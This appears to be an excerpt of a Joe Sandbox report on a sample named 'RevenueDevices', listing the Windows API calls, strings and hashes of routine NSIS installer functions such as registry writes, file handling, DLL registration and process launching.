Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

%s=%s, xrefs: 00406B43
NUL, xrefs: 00406A9E
F, xrefs: 00406AE8
[Rename], xrefs: 00406BC8, 00406BD7

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

@%F, xrefs: 0040682C
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 00406A53
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteReg: error creating key "%s\%s", xrefs: 004029F5

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: success ("%s"), xrefs: 00402263

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00014200,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

@rD, xrefs: 00404402
%u.%u%s%s, xrefs: 00404444

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
